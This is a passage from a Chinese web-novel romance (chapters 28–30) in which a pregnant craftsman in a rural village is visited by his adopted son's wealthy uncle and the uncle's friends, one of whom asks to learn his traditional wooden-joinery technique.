小男孩很快又想明白了,狠狠咽下几枚小鱼干。 只要让他每个星期都能看到养父,让他学再多的东西都值得。 幽寂古刹。 到了夜晚,香客散去,寺庙归于一片古朴的沉寂。 霍岭生返回禅房,打开电脑搜寻住持白天同他说的那个会用古法技艺做小玩具的手工者信息。 翻动着线上小店的橱窗,查看过往交易的产品信息,他看到了一个个做工精巧的榫卯手工制品。 坦克、飞机、吉普车,隐隐有一丝奇怪的感觉,说不上的熟悉感。 直到看到唯一一只商品简介上标注着只要摇动转轴就会飞的木制机械鸟。 霍岭生握着鼠标的修长手指顿住。 那日烈阳明绚的上午,庄园一角静谧。 他躲清闲在一株凤凰花树下,一只飞鸟突然从头顶上方的一扇窗横冲直撞飞出,最后撞到花树上落到自己的脚旁。 那只木制飞鸟就和眼前图片上一样有着精巧绝伦的做工,颜色却没再涂得那么突兀梦幻,也没有可爱的涂鸦。 霍岭生眸光闪了闪,盯着这张图片。 祁焰白天说昭昭养父住的地方在哪里? 溪源乡? 第28章 第 28 章 “你才想被我们所有人唾…… 霍岭生长久凝望着电脑上的木制飞鸟, 禅房内香烟袅袅,灯火摇晃,他的思绪也跟着一瞬间飘远。 第二日, 霍岭生跟母亲和主持道别下了山。 望着从山道上渐渐远去的身影, 住持抚了抚花白的胡子, 笑着感慨:“总算走出这一步了。” 主持转身返回禅房诵经。 山寺钟鸣, 往山上的香客也渐渐多了起来。 江之遇从昨天下午养子走后小院又恢复了往日的清净。 他生活再度回归日常。 小蓁姐从山上回来, 给他捎了些蘑菇和山枣, 这是一种长在溪源乡山上纯天然的绿枣,因优越的地理位置和适宜的气候,吃起来又脆又甜, 汁水饱满。 她给江之遇带了一筐,走进小院:“之遇, 昭昭还有你们家那个长得特别帅的大帅哥走了吗?” 江之遇正在给小菜园浇水, 见状转过身,点点头:“昨天下午就离开了。” “那个男人真的是昭昭小叔吗?”小蓁姐把篮子放下来笑着问。 这两天除了争着往祠堂的义诊平台那里去看黎医生, 村民们还关注的一件事情就是之遇的豪门养子回来看他了, 一同的还有他那位据说是谢氏集团掌权人的亲小叔。 村民们都很好奇, 小蓁姐也不例外。 只是不同于春风和煦,总是斯文翩翩笑着的黎医生,这位小叔看上去有些冷漠,不好接近。 所以大家都是假装有意无意路过江之遇的小院,悄悄往里面瞥进去一眼。 江之遇告诉她:“是昭昭的亲小叔。” 小蓁姐得到证实, 笑着说:“没想到昭昭的小叔也会陪他一起过来。我听说像他小叔这样掌管着那么大公司的人每天都很忙, 霸总剧里不是也总演,总裁们都是分身乏术,每天要处理很多事务, 身后也总跟着一些西装革履的助理或是秘书,走路都带风。” 江之遇心想,昭昭小叔确实很忙,他之前在北城住在谢家的时候几乎就没能见到他的身影。 身后确实有向宋秘书那样西装革履的精英男。 “我也没有想到。”江之遇回想起前天夜晚从黎少爷那里做完检查出来在祠堂月色下看到男人身影的画面,他其实到现在都感到惊讶。 “真没想到有一天我们村里会来这样两个大帅哥,看着都养眼。” 小蓁姐感慨一声,看到院子里搭好的葡萄架,想起什么。 “你知道吗,我昨天路过你家门口的时候看到昭昭小叔在帮你搭葡萄架,当时我还不知道他是谁,看到你被他抱在怀里,我以为他就是孩子的亲生父亲,后悔了来乡下找你和孩子呢。” “什么?”江之遇听了小蓁姐的话,拿着葫芦瓢给小菜园浇水的动作一僵,随后皙白隽秀的脸上快速闪过一抹慌乱。 “怎、怎么可能。”他语气有些磕绊,耳根也迅速染上一层热意,“我只是不小心撞到他身上,他是昭昭的小叔,我怎么可能会和他那样……” 说到最后,自己都没有底气。 因为他肚子里的孩子确实是这个男人的,是他养子的亲小叔的。 小蓁姐看他慌乱的样子有些纳闷,狐疑道:“是啊,我后来从乡长那里知道他的身份才知道自己弄错了。” 送走小蓁姐,江之遇的脸上还是一阵一阵的火热。 他还以为,从男人在协议单上签下名字后自己就再也不会见到他,两个人以后也不会再有牵扯和瓜葛。 怎么也没想到才过了没多久,这个男人就会再次出现在自己的眼前,带着昭昭一起,出现在江之遇以为他永远也不可能踏足的地方。 心神不定地给小菜园的蔬菜浇完水,江之遇将小蓁姐送过来的山枣和蘑菇洗净,打算中午给自己做小鸡炖蘑菇吃。 收拾屋子时,在昭昭房间的床脚下看到一个被照进来的太阳光线折射出润泽光芒的饰品。 他弯下身捡起来一看,发现是一枚做工精致的袖扣,镶嵌着颜色介于黑和绿的一种质地深沉的宝石。 这是昭昭小叔袖子上的袖扣。 昨天男人帮他搭葡萄架时,修长胳膊从头顶伸过来,他微仰着头看他的时候,眼前就闪过这枚袖扣墨黑内敛的光泽。 江之遇没想到昭昭小叔衣服上的袖扣会掉在了自己家里。 他不懂这些饰品,但从做工、颜色以及质地能分辨出这枚袖扣一定价值不菲。 江之遇从不会占有不属于自己的东西,尤其是这么贵重的物品,立刻将它捡起来擦拭干净,然后打给宋秘书,要把这枚袖扣还回去。 宋秘书一脸严肃的面瘫脸上闪过一抹惊讶,去了一趟总裁办,过了会儿回来告诉他。 “谢总说是他不小心落下的,没有注意到,让先放在你那里保存,他以后有机会再过去拿。” “不可以给你们寄过去吗?”江之遇拧了拧秀气的眉,听到宋秘书说的是“以后有机会过来拿”,是说昭昭小叔吗? “抱歉,这边还有重要的会议,我先去会议室了。江先生,袖扣就先放在你那里,以后再说吧。” 说着,匆匆挂断了电话。 江之遇:“……” 只能把这枚袖扣收纳好,等哪天昭昭再来找他的时候让养子带回去给他小叔。 谢氏集团总裁办。 宋秘书放下手机看向办公桌前的上司:“谢总,已经按照您的吩咐告诉江先生了。” 宋秘书发现自己最近有些无法揣摩上司的心思,周六下午突然让自己安排去溪源乡的车,明明不久前才拒绝自己做这样的安排。 一早来公司让自己调整接下来的日程,把所有的行程都尽量安排在白天,周末行程一概推掉。 这对于加班狂魔的谢总来说简直是一件不可思议的事情。 还有江先生口中的那枚袖扣,上面镶嵌的墨翠是上司上次在拍卖会上拍得的一件极其稀有的珍品。 上司的衣服是由顶级裁缝为他专门量身定制,选用的都是最上好的面料,袖扣的扣合性强,怎么会轻易掉下,还掉在了江先生的家中。 不对,上司去溪源乡住在江先生家中了? 宋秘书这才回过神,抓取到一个关键的信息。 不是说只是了解溪源乡的捐赠和援建情况吗…… 宋秘书腹诽。 一片乌云在上空飘过,没多久,总裁办的落地窗上溅落起噼里啪啦的雨滴。 宋秘书不再揣测上司的心思,关上总裁办的门。 这次的雨除了北城,绵延区域广。 很快,江之遇的小院也下起了淅沥淅沥的小雨。 正好,葡萄架搭好了,他才刚把葡萄藤分栽好,正需要雨水的滋养,这场小雨来得很及时。 他便拿了锉刀和木料,搬了凳子,就坐在堂屋靠近屋檐的地方一边听雨,一边制作桑姨说卖得很好的榫卯积木玩具。 黎清叙撑着伞从小院门前走过,视线穿过爬着翠绿藤蔓的葡萄架,一眼看到屋子里的美人。 乌瓦滴着淅沥的雨水,院子里青石板湿润,铺了几片被雨水打落的凌霄花的花瓣。 黎清叙自认是一个理智的人,他学理学医,面上斯文翩翩,骨子里却透着一股实验室冰冷器材般近乎理性的凉薄。 却也在这时忍不住想附庸风雅,念几句曾经嗤之以鼻文学院学生常念的文绉绉的诗。 他这样想着,也这么做了。 江之遇于是一脸懵地看着黎少爷撑着把伞念着诗走进自己的小院。 昭昭小叔临走时一再叮嘱自己不要让黎清叙进自己的家门,虽然江之遇不明白为什么,也不太想和这位黎少爷,准确来说和昭昭小叔有关的任何人有过多接触。 可这位黎少爷几乎每日忙完志愿者的工作都要路过自家门前,然后进来走一走。 前天是好奇他院子里栽种的那株山茶花是什么品种,昨天他用来遮阳的帽子不小心被风吹到了他的院子门口。 黎少爷走过来捡,然后就问可不可以向他讨杯水喝。 江之遇不太会拒绝人,尤其是这样和煦笑着的,总让他找不到拒绝的理由。 “你在做什么?” 在江之遇为昭昭小叔这位奇怪的朋友再一次走进自己家的小院还念着莫名其妙的诗而感到困惑时,这道和煦的声音问。 “木鸟,”不等自己回答,他自顾自答道。 又说:“你好像很会做手工制品。” “嗯。”江之遇没有否认,精心雕刻着木鸟的翅膀。 黎清叙视线便落在他的手上。 很纤长漂亮的一双手,手背很白,指腹却覆着一层薄茧,不知道这样一双反差的手握在手心是一种什么样的感觉。 “是做给自己未来宝宝的吗?”他盯着这双手问。 江之遇没察觉到他的目光,摇摇头:“不是。” “我怎么感觉你好像对我有些冷淡。”黎清叙笑了笑。 江之遇这才把注意力从自己手中雕刻的木鸟上移开,奇怪地看向眼前的男人:“有吗?” 黎清叙一对上他这双雨后露珠一般晶莹澄透的眼眸就心动不已:“有一点,是不是因为阿延临走前和你说了什么?” 江之遇身形怔了怔,有些惊讶男人的敏锐,明明是和煦笑着的,却总让他想到一种嗅觉灵敏的动物。 他面上闪过一抹不自然。 黎清叙捕捉到,调侃的口吻:“看来我猜对了。” “不是……”江之遇很小声,恍然察觉自己似乎落入了对方的话语圈套。 黎清叙仍旧斯斯文文地笑:“其实你可以把我和阿延分开,我们两个人虽然从小一起长大,但他是他,我是我,我们是截然不同的两个人。” 江之遇又茫然了:“你为什么要跟我说这些?” “我是想说,如果是我做了和阿延同样的事情,我绝对不会不负起责任,你也可以理解为我是一个责任感很强,值得信赖的人。”黎清叙注视着他的眼睛。 “哦。”江之遇还是不明白眼前的男人为什么要和自己说这些,只是懵懵的,“所以你才会重新做起义诊活动来乡下找回你的初心?” 江之遇记起周末葡萄架下他和昭昭小叔说的那番话,说他不想接手家里的生意,能在这里找回一点初心。 黎清叙:“……” 总是从容斯文的面上难得出现一丝裂隙。 屋檐雨水淅落,滴答滴答落在青石板上分外好听。 这时,院子的门外响起敲门声。 江之遇没有注意到男人脸上细微的变化,放下手中的木鸟:“我去看看是谁在敲门。” 黎清叙望着他从自己面前离开,撑伞走进淅沥淅沥的雨中。 蒙蒙细雨勾勒出他纤细漂亮的背影。 黎清叙忽而弯起唇角。 更有意思了。 他同样撑起自己的雨伞,姿态又恢复了一贯的从容优雅。 好的狩猎者要有耐心。 尤其是这样一只懵然无知,容易受惊的小兔子。 黎清叙迈着悠闲的步履走向门外,决定再找时机。 然而很快,刚拼凑完美的斯文面具再次露出一道裂隙。 他另一位似是遁入空门,准备与长灯古佛为伴的常年随母亲居住在山寺的发小不知什么时候立在这道屋檐下。 细雨微凉,他这位冷情冷欲的发小唇角勾起无情的弧度,嗤声道。 “是谁警告祁焰把龌龊的心思收一收,不要打自己朋友的人主意,我看你才想被我们所有人唾弃吧?” 第29章 第 29 章 “你们俩以后可不要为了…… 黎清叙从容面上的表情僵了一瞬。 用了大概十几秒的时间才艰难确信眼前站着的就是他那位不问世事的发小, 这张砒霜般的嘴也是没谁了。 江之遇也是一脸懵。 他觉得自己最近受到的冲击又开始多了起来。 他茫然地望着眼前这个他曾经在谢家庄园花树下看到的神秘清冷的男人,屋檐雨声淅沥,细微的风挟着雨丝斜斜往下飘落。 他看到眼前男人长身玉立, 玉雕般的手握着把黑檀木为柄古朴雅致的长柄伞。 依旧是清冷得像寂静湖水般的眼睛, 半掀的眼皮很薄, 下颌线条清利, 冷白色的皮肤让他看起来仿佛随时要融入身后远山缭绕的山雾之中。 第一次见这个男人时, 江之遇觉得他像一个误入尘世的佛子, 不忍心亵渎。 可是包厢里他委婉暗示自己把肚子里的孩子打掉,避免留下隐患,让江之遇一下子颠覆了他在自己心目中清冷出尘的印象。 江之遇不明白这个男人为什么也出现在了溪源乡, 还站在自己院子门前的屋檐下。 他还没来得及问询,就见黎少爷一把拉开这个神秘清冷的男人, 雨伞遮住他们的身影, 江之遇不清楚他们在说什么。 “你这是什么意思,什么叫‘我才想被所有人唾弃’?” 黎清叙顾不得问自己一直在寺庙里修行的发小为什么出现在溪源乡, 率先发问他对自己的责难。 霍岭生冷嗤道:“我刚才都看到了, 你盯在那个男人身上的眼神恨不得把他拆吃入腹, 眼珠快要长在别人手上了。” “我有那么夸张吗?”黎清叙回想了下自己刚才的眼神,他的确有恋手癖,尤其喜欢有点缺憾美的事物。 如果这双手纯纤白好看,那就和那些手模的手无异了。 可偏偏这样一双好看的手却覆有一层薄茧。 黎清叙光想着被这样的手刮蹭,就觉得头皮一阵酥麻。 但他自认为掩饰得很好, 他这个发小实在是在胡说八道, 污蔑自己。 “看来你承认你对那个男人有不轨的心思。”霍岭生抓住他话语间的漏洞,讥讽一声。 黎清叙哑言。 斯文风度的形象险些没有维持住。 “不是,你大老远的跑来这里就是为了嘲讽我?”黎清叙半晌回过神来, 怎么看都是他这位半只脚踏入空门很少下山却莫名出现在这里的发小更奇怪吧? 霍岭生默了默,脑海里闪过他在庄园凤凰花树下看到的那双从窗沿看下来的清透眼眸。 他冷声道:“我有我的正事,反正不会像你这样心存龌龊心思,跑到这里来撬墙脚。” 黎清叙:“……” “你们没什么吧?” 一道小心翼翼的吴侬声音忽然在身后响起,微风摇曳细雨,细细密密地落在头顶的伞布上,这道缱绻的声音也像勾了绵密的雨丝一样,将人耳膜缠裹。 霍岭生和黎清叙同时转过身。 黎清叙对上眼前一双好奇望着他们的清透眼眸,扯了扯唇角的笑意,遮掩道:“没事,我们没什么,就是我问他怎么突然到这里来了。” 他指了指身旁的人:“昭昭养父,你可能不知道,我们这位朋友一直在山上寺庙清修,很少出门,竟然会来这么远的地方。” 原来是在寺庙清修,怪不得他手腕上会缠着一串佛珠,身上也总有一股清冷出尘的气质。 江之遇眸中的迷惑散了些,却还是有很多不解的地方。 清冷的男人在这时看向他,冲他微微颔了颔首:“你好,我叫霍岭生,是阿延的朋友,上次在包厢说的那些冒犯你的话是我误解了,希望你能够原谅我。” 怎么他们两个见到自己都会说这样让自己原谅他们的话。 江之遇怔了怔,在心里嘀咕。 “你好。” 是港城霍家的。 那另外那位蓝头发的应该就姓祁了。 江之遇还是不知道昭昭小叔的又一位发小为什么会出现在自己家门口,这么偏远的小地方,在不到一周的时间里先后来了三个莫名其妙的人。 显然黎清叙也有此疑惑。 霍岭生拿出手机,找出几张图片:“请问,这是你做的吗?” 江之遇探过去脑袋。 被男人握着的手机屏幕上,是几张拍摄着积木玩具的图片。 似是怕自己看不太清,他修长手指将图片放大,江之遇认出这是自己做的拿到桑姨的线上小店卖的榫卯积木小玩具。 还有一只木制的机械飞鸟,是自己前不久改良版的,只做了这一只。 江之遇点头:“是我做的。” “我能去你屋子里打扰一下吗?”霍岭生问。 雨仍在淅沥淅沥地下,南地的雨就是这样,雨势小,却下得绵密,时间长,经常一下就是一整天。 江之遇这才反应过来,他们三个人都还站在自己院子外的房门口。 不知道这个男人要找自己做什么,但他已经问出口了,江之遇总不能将人拒之门外,便只能让他进来,弄清他拿着自己手工制品的图片找过来有什么目的。 然后看到黎少爷又迈着悠闲的步调跟进来了。 霍岭生踏进这座小院。 虽然刚才驻足门前已经探看一二,可是踩在被细雨润湿的青石板上。 院里花木扶疏,紫藤萝的绿叶,新栽的被雨水滋润得剔透的葡萄藤,爬在白墙乌瓦上的凌霄花。 还有小菜园的蔬菜、沾着晶莹雨珠的瓜果,鸡圈里母鸡咕咕的叫声…… 所有一切让他感受到一股恬然但旺盛的生命力。 他许久没有闻到这样生动的、活的、让他想要深深嗅吸的气息和味道。 分明在包厢里看到的时候,这个男人还是一副低眉敛目,瑟缩怯软的模样。 霍岭生步履平静地穿过院落走进屋子里。 江之遇招呼他们两个人坐下,给他们一人倒了一杯茶水。 然后问昭昭小叔这位从山寺来的朋友找自己有什么事。 霍岭生开门见山,嗓音清淡道:“我师父在寻找一种古技法复原寺里的伽蓝殿,他从你的手工制品上找到了他想找到的技法。” “你是说我做的这些小玩具?”江之遇听了他的话,感到不可思议。 黎清叙好奇的目光也落在他刚才打量的美人那双手正在雕刻的木鸟上。 霍岭生嗯了声,拿出住持从藏经阁里找给他的《营造式样》复印本,翻到其中一页:“就是书上记载的这个。” 江之遇顺着他修长的手指往书页上看过去,发现确实是他原来世界的师父教给他的技法。 曾经江之遇为了混口饭吃,帮山里的村民做很多活。 他这位师父当时要去修缮一座遗存的皇家殿宇,需要一位助手,包吃包住,还给发工资,江之遇就自告奋勇跟了过去。 那也是江之遇第一次到山下,见识外面的世界。 他细心,做事勤快,不怕吃苦,意外地在这方面有一点悟性和灵性。 回去之后,师父就把自己的手艺教给了他,他识字、念书,也都是跟这位师父学的。 江之遇问:“你是想要我帮你什么吗?” 霍岭生合上书本,清冷视线专注对上眼前人淳朴清透的眼眸:“我原本想请你随我回一趟隆安寺,和我师父当面交流,可是,” 他话音略顿,视线垂下,往他肚子的方向看过去。 男人身形纤细清瘦,穿在身上的素净衣服宽松,从霍岭生的视角看不出他肚子上的起伏,只能看到一把细瘦漂亮的腰线。 他视线停留几秒,移开:“你现在怀着身孕,不方便出行,所以我想请你教我,等我学成以后再回去转达我师父。” 还真有正事。 黎清叙桃花眼眯了眯,倒是有些意外。 和他们这几个由这样或那样的原因不得已接管家业从商或是去娱乐圈当大明星的人不同。 岭生天资聪慧,虽然家里私生子很多,但从很小起就被当作继承人培养,他那位渣男父亲对他寄予很大的厚望。 可自从他母亲出了事,他就随母亲去了山寺清修,甩手家里产业,也放弃了继承人身份,无论他父亲怎么让他回去,他都漠然无视,无动于衷。 在山寺的这些年,岭生转而修习佛法,钻研古文物。 他母亲本就是一位优秀的古建筑师和文物修缮师,寺院住持也一直致力于非遗文化传承,和古建筑复原修缮。 所以岭生常常跟着住持找寻以前遗漏的孤本、古技法,做修缮和复原工作,不闻外界世事。 关于他口中的寺庙殿宇复原,黎清叙也曾听他提到过。 只是怎么也没想到,他们找寻的古技法,会在眼前这个漂亮男人身上。 “你是说让我教你?”江之遇同样没有想到,眼里流露出难以置信的惊讶。 霍岭生清冷俊逸的脸上面色郑重:“我会向你支付一笔不菲的学费,此外,只要你愿意教我,可以向我提任何要求。” 江之遇垂了垂眸。 他没有什么要求要对别人提,更别说这位只见过两面不熟悉的霍少爷。 但江之遇对他口中要支付的一笔学费很是心动。 江之遇一直有节俭攒钱的习惯。 大概是从小被遗弃,生活一直过的艰难,他很喜欢自己的家里、手中的钱包一点一点累积,充实起来。 比如今天多种了一块地,明天打制了一件新家具,后天把自己的小院扩充一下,他的瓜果蔬菜成熟,养的鸡下得鸡蛋一天比一天多。 他的院子、屋子里越来越充实。 这些都让他感到满满的充盈、幸福和安全感。 尤其是他现在还怀有宝宝,更在努力挣钱攒钱。 想到这里,江之遇开口道:“就按你说的吧,我教你,你付我学费,但是要求什么的,我不知道怎么提,也没有想提的。” “那先欠着你,等你以后有需求的时候再向我提。”霍岭生清冷的脸上似是冬雪化开了一些。 黎清叙咋舌。 自己费劲巴拉地接近美人,他这个发小就这么轻而易举地登堂入门,和美人建立了联系。 还拜别人为师。 不是,阿延这么抠的吗? 人家把他找寻多年的小侄子带回来了,还怀了他的孩子,他都不给人钱吗? 让岭生三言两语一笔学费就骗了去。 黎清叙心里隐隐有种说不清道不明的憋闷,他还从来没有过这样的感觉。 一同走出小院,雨势小了些,细雨如针,几乎可以不用撑伞就可以行走在雨下。 黎清叙握着收起的伞,雨丝落在他脸上,丝丝凉凉的,仿佛他在谢家花园初遇美人时,从他手中水管喷出来的微凉水意。 黎清叙问:“你确实没有别的目的?” 霍岭生撑开乌木为柄的长柄伞,不让雨沾湿他半分:“你以为我跟你一样心思龌龊,背刺自己的好兄弟?” “我也没做什么吧。”黎清叙一听背刺两个字,顿时有些不乐意。 “我只是偷个清闲来这里做义诊调剂一下心情,碰巧遇见昭昭养父。你也知道,他一个人怀着孩子住在乡下,不管出于他是昭昭的养父,还是咱们几个人自小的交情,我帮忙照顾一下,不为过吧?” 霍岭生懒得搭理他的诡辩,只冰冷道:“希望你注意分寸,提高自己的道德感,不要做伤害兄弟情分的事情,我可不想以后看到你们两个为了个男人打起来。” 黎清叙:“你把我想成什么了?我还没有无耻到那个地步。” 况且他向来君子动口不动手,打架什么的实在有损他的形象。 两人在蒙蒙雨雾中走远。 江之遇送走他们二人,还是觉得不可思议。 昭昭小叔,昭昭小叔的朋友,昭昭小叔的又一个朋友。 他以为永远不会和这些人有交集。 不过账户里进账一笔钱,是霍少爷支付的预付金,数额不小,江之遇就不去想这些他想不明白的事情了。 对他来说,挣钱、照顾宝宝、过好自己的平淡生活就可以。 傍晚的时候,雨停了。 西边的山头缭绕出一圈白雾,隐隐透出一点落日余晖的温婉。 北城的傍晚要壮阔许多。 下班时分,马路上车来车往,从落地窗前往下看,能看到川流不息的车辆,一条条色彩绚丽的巨蛇一般蜿蜒至高楼林立的尽头。 谢氏集团这段时间因着总裁每天到点下班,走得似乎比他们还迅速,得以早早下班,享受不用加班的快乐时光。 宋秘书关上总裁办的门,再次安排起私人飞机和从私人飞机降落后转往溪源乡的车。 谢津延驱车前往小侄子的贵族学校。 “小叔,你怎么今天这么早就来接我了?” 谢寻昭背着书包开心地从校门口跑出来。 这周一开始,谢寻昭每天都是由小叔从公司驱车过来学校捎回自己。 回去以后,谢寻昭就开始做学校布置的作业,他小叔在书房办公,处理公司事务。 等他写完作业,小叔就开始帮他补习功课,教他骑马和练剑。 谢老夫人最近十分纳闷。 一个是一心扑在公司的儿子现在每天早早回家,把工作搬回家里做。 另一个是他的小孙子每天卯足了劲儿学习,跟打了鸡血似的。 这两人还每天晚上一个在书房办完公,一个写完家庭作业,就凑在一起拓宽业余活动。 谢家家教严,但是对于孩子的成长教育向来是寓教于乐,不过分苛求他们。 希望他们变得优秀,成长为一个有能力、有责任感、有担当的人的同时,更希望自己的孩子们快乐。 在大儿子和大儿媳去世之后,她更是觉得再也没有比一家人聚在一起过简单平淡的生活更重要的事。 所以虽然口中也会催婚,希望小儿子能够向他大哥那样步入婚姻殿堂,可是更多的是希望他能够找寻自己所爱的人,过自己想过的生活。 然而这几天,谢老夫人看不懂家里这一大一小了。 “已经跟爷爷奶奶打过招呼,我们直接去私人机场陪你去看你养父。”谢津延驱动引擎,脸上看不出情绪道。 “哇,这么早就去吗?太好了,我可以在爸爸家多住一个晚上。”上次去养父家因为司机不熟悉山路,等到了溪源乡已经天黑了。 之后只在养父家住了一个晚上,第二天下午就回北城了,谢寻昭觉得太匆忙。 但今天周五刚放学,小叔就来接自己,意味着自己可以在养父那里过一个完整的周末。 谢寻昭别提有多开心了。 上周爸爸说下次来了要给自己做上周没来得及做的荷叶鸡,还有松鼠鳜鱼,谢寻昭想想就觉得非常期待。 叔侄二人乘私人飞机飞往南地,再坐宋秘书下班之前安排好的车前往溪源乡。 暮色四合,天色渐渐降了下来。 江之遇没想到霍少爷这么快就来找自己学习。 只放下行李,稍微安顿了下,就重新踏进了自己的小院。 “我不知道要怎么教你,但可以先你展示一下我是怎么做的。” 江之遇带这位气质清冷的霍少爷到自己的工具屋,是他从北城回来之后,还不知道自己怀孕的时候改造的,他在里面还给自己打造了一个工具台。 平常需要专注做手工的时候,他就会到这间工具屋里。 霍岭生打量他这间屋子,收拾得井井有条,一整面工具墙上挂了各式各样的工具。 工具台就在窗前,上面摆放着还没有雕刻完的木鸟翅膀。 入了夜,窗户漏进一方夜色,能正好看到院落里的花木扶疏的景象。 霍岭生收回视线,专注在男人身上,看他向自己展示这种古技法。 神情专注,卷翘睫毛微微垂下,鸦羽一般扫着一双清透漂亮的眼眸。 霍岭生第一次见这双眼睛,是在庄园一角绽得热烈的凤凰花树下。 火焰一样的花瓣烧红了一整扇窗,一双漂亮的眼睛从上面看过来,写满了惊讶。 第二次是在和发小们小聚的酒吧包厢里。 昏沉光线颤动,这双眼眸上的睫毛也不安颤动着,隽秀面庞上的表情瑟缩生怯,让人联想到误入狼群中惊慌不安的小兔子。 然而现在,所有的这些惊异、惶恐、不安和瑟缩消失。 眼前的男人像是沉浸在另一个世界里,细白的手又轻巧又稳,眼眸专注清亮,在台前洒落的柔和灯辉下,像点亮了一湖星辰。 霍岭生有些恍惚。 “你要试一下吗?” 一块打磨圆润的木料和锉刀伸过来。 霍岭生身形一晃,骤然回神。 手仓促擦过木料和锉刀,迅速有血珠在手背上凝起,随之蔓延的是一股刺痛的感觉。 他微微蹙了蹙眉。 眼前男人似是意想不到一样,惊愣了几秒,立刻放下手中的木料和工具。 一个高大森冷的身影在这时闪进来。 面容阴鸷的男人捉住一双覆着薄茧的细白手背,嗓音沉冽道:“伤哪里了?” 霍岭生:“……” 第30章 第 30 章 让他看起来像个变态…… 江之遇手心被宽大的手掌裹着, 男人将他的两只手翻过来又翻过去,比他手心温度要高许多的温热触感沿着手背传递。 他缩了缩手腕,灼烧似的把手从男人手中抽出。 “不、不是我。” 覆着一层薄茧的指腹刮过谢津延的掌心, 谢津延觉得仿佛有一道微弱的电流从掌心窜过, 流到了他的心里。 “是霍先生的手被划伤了。” 江之遇没有去想昭昭小叔为什么突然会出现在自己眼前, 还一把将他的手捉住, 总是冷冽淡漠的语气让他听出一种幻觉似的关心。 他只是第一时间去客厅找自己的收纳箱, 从收纳箱里找出自己备在家里的医药包, 拿出棉签、碘伏,快速帮霍少爷将手背上的血止住。 “抱歉,我不是故意要划伤你的。” 江之遇帮不小心被锉刀擦伤的霍少爷做简单的伤口处理。 因为自己经常也会在做木工的时候不小心被工具弄伤, 所以江之遇会在家里备相关的药品,做这样的事情也特别熟练。 霍岭生低头望着眼前的男人帮自己处理伤口, 指腹上肤着薄茧的手指捏着棉签, 沾上碘伏在他的伤口上轻轻擦拭,动作温柔轻缓。 他眸光微微闪动, 盯着这样的动作, 听不出情绪道:“是我刚才走神了。” 最后往手背上贴了一枚创可贴, 江之遇收起自己的医药包,叮嘱他这两天不要让伤口沾到水。 霍岭生嗯了声,视线定定在自己的手背上。 那里残留着指尖轻柔触碰过的余温,让他没有在意到伤口传来的轻微刺痛感。 等江之遇把霍少爷手背上的伤口处理好,去客厅收放好自己的医药包, 才恍然想起来什么。 工具屋里, 他看到俊逸矜贵的男人面色阴鸷得可怕。 薄唇绷成一条直线,一双黑沉沉的眸子凝着他,仿佛自己做了什么对不起他的事情。 江之遇不由得瑟缩了下, 不明白自己为什么会在心里闪过这样的想法。 他只知道一被这样仿若无尽洞底一般的幽漆眼神盯着就毛孔收缩,浑身不自在。 江之遇硬了硬头皮:“你怎么又来了……” 谢津延面色阴沉,心情说不上有多好,脑海里反复回闪着眼前的男人动作轻缓地给自己的好兄弟清理伤口的画面。 “昭昭想你了,我也顺便来把我上周掉落在这里的袖扣拿回去。” “哦。”江之遇羽睫颤了颤,觉得哪里不对,又没觉得哪里不对,昭昭小叔说的好像每一句话都很合理。 他顶着这样的视线离开工具屋。 头皮发紧的同时,心里不免又为再一次为见到养子而感到开心。 虽然他早就习惯了一个人生活,可上周短暂的相逢又离开,还是让江之遇在心里产生了一种淡淡的空落。 就好像偶尔他在傍晚醒来,看到漫天的烟霞,明明那么绚丽灿烂,锦纱似的铺满一整个西边的天空。 可随着锦纱下沉,隐入山下,他在这时涌出了一种莫名的茫然和空荡,望着逐渐降落的夜色,像是要被无边无际的黑暗吞没。 还有春末时,看到曾经开得热热闹闹的花在一场大雨后落了一地,之后换上新叶,也会有这样的感觉。 所以相比繁花似锦的春天,江之遇更喜欢带着暑气漫长的夏季。 树木颜色虽然绿得单一,好像满世界都是千篇一律的色调,却能持续很长时间。 江之遇帮养子接过他的书包,男孩高高兴兴的,没有注意到自己小叔脸色为什么突然变得那么难看。 还有,霍叔叔怎么也在养父这里。 江之遇之后便去卧室拿帮昭昭小叔收好的那枚袖扣。 而在这个时间,工具屋里剩下谢津延和霍岭生两个人。 两人面上表情都有很多隐晦。 不等这位脸色阴鸷,一副捉奸架势的发小开口,霍岭生冰冷截断话音。 “先说好,我来这里是有正事的,不管你现在心里有什么样的揣测,都与我无关。你打着你小侄子的幌子来他养父这里是什么目的,我也不关心,总之你要防备的人不是我。” 谢津延:“……” 谢津延一口气堵回去。 “所以你的正事是?”他目光仍旧审视着这位怎么想都与这里没有半分瓜葛和牵扯的一心在山寺修行的发小身上。 霍岭生似是看出了他心中的疑虑,面色如常地将此行目的再次讲述了一遍。 听完他所说的,谢津延阴沉面色稍霁。 相比于黎清叙凑巧跑到这里做义诊,一向清心寡欲、正正经经的岭生确实更有说服力。 他们几个人中,最不会耍心机和耍手段的人就是岭生。 准确来说,是不屑于用这些方式。 何况那个男人的手确实巧。 谢津延没再问下去。 天色更晚,他抬腕看一眼时间:“你是不是该休息了,晚上有住宿的地方吗?” 霍岭生:“找了家村民借宿几晚。” “你呢?”霍岭生问,“住昭昭养父这里?” 谢津延心头那股郁气好似终于泄出去一般,压住唇角四平八稳道:“嗯,他们给我留了间房,没必要去外面找。” 霍岭生探究目光落在他身上半晌,冷眼旁观却又仿佛能洞穿一切的视线停留。 最后转身:“别再做出禽兽事。” 谢津延:“……” 所以等江之遇把收纳好的袖扣拿给昭昭小叔的时候,就看到眼前男人面上的表情变化很是莫测。 不知道两人之间发生了什么,是不是也像上次在祠堂里看到他另一外发小黎少爷一样。 江之遇把袖扣递过去,看一眼屋子:“霍少爷走了?” 谢津延嗯了声,视线转移到他的手上。 看他把自己的袖扣仔细地收纳在一枚精致的木制小匣子里,心情又晴几分。 谢津延向他说了声谢谢,随后问:“你怎么这么晚了还让他来找你?” 江之遇知道昭昭小叔口中的“他”指的是霍少爷。 “我也没想到他这么勤奋,他说他师父找了这种技法很久,想尽快学会,而且我收了他的学费,总不好拒绝他。” “你说你收了他学费?”谢津延语气中似是有些惊讶。 江之遇点了点头:“他找我学东西,要付学费,我想着反正也要给宝宝攒钱,就答应了,不收白不收。” 他说到给宝宝攒钱的时候,语气都一瞬间变得坚定,眼眸里也点上一抹晶亮,充满了一种对期盼事物的向往。 谢津延说不清心里为什么会涌出一丝酸酸楚楚的滋味,他问:“你既然要攒钱,为什么之前我父母给你钱的时候你不要?” 包括自己那晚的过失,谢津延已经允诺他无论他要多少赔偿都可以。 可是包括父母的酬谢款,还有自己的赔偿费,他什么都不要,就这样最后一个人带着肚子里的孩子回了乡下。 